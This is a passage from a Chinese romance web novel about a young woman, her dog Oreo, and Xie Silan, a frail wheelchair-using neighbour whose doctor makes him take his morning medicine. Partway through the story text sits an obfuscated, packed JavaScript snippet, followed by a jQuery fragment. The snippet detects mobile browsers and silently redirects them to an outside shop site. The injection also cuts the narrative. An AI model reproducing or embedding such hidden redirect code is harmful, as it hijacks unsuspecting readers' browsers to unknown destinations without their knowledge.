发完她退出私信,看着那张两只小狗碰鼻尖的画,越看越满意。
有种第二本也要爆了的错觉怎么办。
她美滋滋地做着梦,脑海里浮现出下午的场景。
他说:“谢谢你照顾糯米。”
他接过那袋卖相惨烈的曲奇,仔细地折好,放进毯子下面。
他说:“不会不好吃的。”
快把她哄成胚胎了。
她打开备忘录,打了一行小字:
“一只听不见的小狗,和一只愿意低下头碰它鼻尖的大狗。”
灵感井喷式爆发,她又画了一张。一只小小的白色边牧抬起头,看着面前高大的阿拉斯加,影子被拉得很长。
小边牧的尾巴夹着,但眼睛亮亮的:阿拉斯加低下头,鼻尖轻轻碰在小边牧的鼻尖上。
画的右下角,她签上自己的名字,又加了一行小字:
“献给所有不敢靠近的小狗。”
画完已经凌晨一点了。季书宁伸了个懒腰,脖子咔嚓响了一声。奥利奥早已睡得不省狗事,四脚朝天,肚皮大剌剌地露在外面,呼噜倒是小小声的。
她拿起手机,把刚画好的图发给谢司澜。
【季小宁】:[图片]
【季小宁】:送你的
【季小宁】:晚安啦小谢同学
发完她也没等他回复,把手机往床头柜一扔,倒头就睡。
明天还要遛狗呢,还要遛两只。
----------------
第二天早上。
季书宁是被奥利奥的尾巴叫醒的。
那条毛茸茸的大尾巴啪啪啪地抽在床头柜上。她迷迷糊糊地睁开眼,看到一张放大的狗脸凑在枕头边,鼻孔里喷出的热气直往她脸上扑。
“奥利奥。”季书宁的声音带着刚睡醒的沙哑,“你知道现在几点吗?”
奥利奥当然不知道。它只知道天亮了,可以出门了,而它的人类还在赖床,这很不像话。
于是它又往季书宁脸上哈了两口气,带来一股狗粮味。
季书宁摸过手机看了一眼,七点十五。
“奥利奥,你听我说。”她把手机屏幕转向奥利奥,“今天是周末,正常人类这个点是不起床的,正常人类的狗这个点也不起床。你懂吗?”
奥利奥歪了歪头,然后舔了她一脸口水。
“行吧行吧,”季书宁认命地坐起来,抹了一把脸上的口水,“起起起。你是祖宗,你是我亲祖宗。”
她洗漱完换好衣服,给奥利奥的碗里倒上狗粮。奥利奥已经蹲在门口等着了,尾巴扫来扫去,咧着嘴巴等她。
“知道了,”季书宁打着哈欠半眯着眼,像个设定好程序的机器人一样做完这一系列动作,“你们狗怎么都这么精神,大早上就活力满满。”
奥利奥才不管她的抱怨,跟饿了五百年似的炫完早饭,兴奋地往门口冲。
门一开,门口放着一个纸盒。浅灰色的,系着一根米色的丝带。
季书宁愣了一下,蹲下来打开盒子。
里面整整齐齐放着六个蛋挞。葡式的那种,挞皮层层叠叠,烤得金黄酥脆。挞液表面有好看的焦糖色斑点,还是温热的。盒子一角贴着一张小便签,字迹清隽工整,是用钢笔写的:
“早安。这是我们家甜点师做的蛋挞,趁热吃。——谢司澜”
便签还是卡通小面包型的。季书宁拿起便签看了看,心想这年头居然还有人用钢笔写字,还写得这么好看。
她把便签小心地折好放进口袋,拿起一个蛋挞咬了一口。
然后她站在门口,发出了今早第一个来自灵魂深处的声音:
“好好吃……”
挞皮酥得掉渣,挞液嫩滑香甜,甜度恰到好处,奶香和蛋香在嘴里化开。她三口两口吃完一个,还意犹未尽地舔了舔手指头。
奥利奥急得直扒拉她的裤脚,呜呜叫着,屁股扭得要飞起来,整只狗都在表达“给我一口妈妈求你了给我一口吧”这个愿望。
“不行,这个不能给你吃,等下周四我给你买肯德基的。”季书宁把剩下的蛋挞放回盒子里,端进屋里放好,“这个太好吃了,我要留着慢慢吃。”
奥利奥:妈妈酱,你不是教我不能护食的吗?怎么你先护上了?欺负狗!
她美滋滋地洗了手,拿起手机,给谢司澜发消息。
【季小宁】:蛋挞收到了!!!
【季小宁】:好吃到原地起飞
【季小宁】:替我谢谢你家甜点师
【季小宁】:顺便问问ta还收徒弟吗
这次回得很快。
【小谢同学】:喜欢就好。
【小谢同学】:那张画我看到了。
【小谢同学】:很好看。
【小谢同学】:谢谢你,姐姐。
季书宁盯着最后两个字。大清早的,她的耳朵又开始发烫了。
她用力揉了揉耳朵,打字:
【季小宁】:不客气!
【季小宁】:我马上带奥利奥上来,糯米准备好了吗
【小谢同学】:嗯。
【小谢同学】:它在等你。
【小谢同学】:我也在。
季书宁把手机屏幕扣在胸口,心跳得有点快。
她低头看了看奥利奥,奥利奥也在看她,尾巴慢慢摇着。
“……走。”季书宁深吸一口气,“我们去接糯米。”
电梯从次顶层到顶层,只需要几秒钟,权限昨天周管家去办了。
季书宁牵着奥利奥站在谢司澜家门口,门是周管家开的。她的视线越过周管家的肩膀,落在客厅里。
谢司澜坐在轮椅上。正朝门口看过来。
今天他换了一件浅蓝色的宽松衬衫,领口解开了一颗扣子,露出锁骨和一小片苍白的胸口。鼻氧管还是戴着,制氧机发出很轻的工作声。
头发好像还没来得及仔细打理,有几缕翘起来,让他整个人看起来比昨天更软了一点。
他看见她,眼睛亮了一下,弯起嘴角露出一个小小的笑容。
“早安。”他说,声音又轻又乖,还有一点点刚起床不久的低哑。
季书宁觉得今天早上的谢司澜跟昨天不太一样。具体哪里不一样,她也说不上来。
可能是头发翘起来的那几缕让他看起来像一只刚睡醒还没来得及舔毛的猫,也可能是眼睛。
“我跟你一起下去。”他偏过头,让右耳朝向门口的方向,“今天天气好。”
声音比昨天有力气了一点,嘴唇颜色也比昨天红润了一点点。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17525732|203486||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
季书宁刚想说“好啊”,一个声音就从客厅深处传过来。
“不行。”
语气非常坚定,表示这事儿完全没得商量。
季书宁循声看过去,一个穿着白大褂的男人从走廊里走出来,正是昨天那个人。四十出头的样子,长相斯文,手里端着一个托盘。
季书宁眼尖,看到他手里的病历夹上写着个名字:陆之安。
“少爷,您早上六点就醒了。”陆之安把托盘放在茶几上,开始分药,“现在才七点四十五。您需要休息。”
“我不累。”谢司澜说。
“您的血氧数据说不。”陆之安头也不抬,“凌晨三点到五点,血氧降过。虽然后面都自动回复了,但这说明您昨晚的睡眠质量很差。”
谢司澜的嘴角微微压下去一点。
“我已经醒了。”他说。
“醒来和休息是两回事。”陆之安把分好的药放进一个小碟子里,推到他面前,“先把早上的药吃了。”
谢司澜看着那碟药。
红的一片,白的半片,黄的胶囊两粒,一小杯颜色可疑的口服液,还有其他她没看清的。加起来有六七样,在小碟子里堆成一座小山。
他的眉头不明显地皱了一下。
昨天在花园里他还像个不食人间烟火的瓷娃娃,现在面前堆着一碟五颜六色的药片,嘴唇抿成一条线,整个人更鲜活了。
活脱脱一个不想吃药正在跟大人闹别扭的小孩。
“可以先下去,回来再吃。”谢司澜试图谈判。
“不行。这个,”陆之安指了指那杯颜色可疑的口服液,“需要空腹。这个,”他又指了指红色的药片,“需要饭后。这些,”指向其他的,“随餐服用。所以您现在需要先喝这个口服液,然后吃早餐,然后吃红色的,吃饭中途吃别的。顺序不能乱。”
谢司澜沉默了两秒。
“……你是让我别去吗。”
陆之安推了推眼镜:“您本来就不应该去。早上露水重,您的呼吸……”
“陆医生。”谢司澜打断他,“我想下去。”
他偏过头,用那双浅色的眼睛看着陆之安,做了一件让季书宁瞳孔地震的事。
他把下巴微微收低了一点,让那双原本就很大的眼睛从下往上看着陆之安。睫毛投下一小片阴影,鼻氧管贴着脸颊,脸颊肉微微鼓起。配合着抿着的嘴唇。
季书宁在心里尖叫:太可爱了!太可爱了!你现在这样真的很猫!
“就半小时。”他说,声音放得更轻了,“我多穿一件,戴围巾。陆医生。”
最后那声“陆医生”让陆之安的脸皮抽动了一下。
他的手指敲了敲病历夹,喉结滚动了一下,咽下了某些已经到了嘴边的吐槽。
然后他面无表情地拿起那杯口服液,递到谢司澜面前。
“撒娇无效。喝药。”
谢司澜的表情肉眼可见地垮了下来。嘴角的弧度变成了一条直线,眼里的光变成一潭死水,连鼻氧管下的呼吸都变重了一点,无声地表达不满。
他把毯子往胸口拉了拉,整个人往轮椅里缩了一点,跟一只气鼓鼓的河豚没什么两样。
季书宁实在是没忍住,“噗”地笑出了声,在安静的客厅里清清楚楚。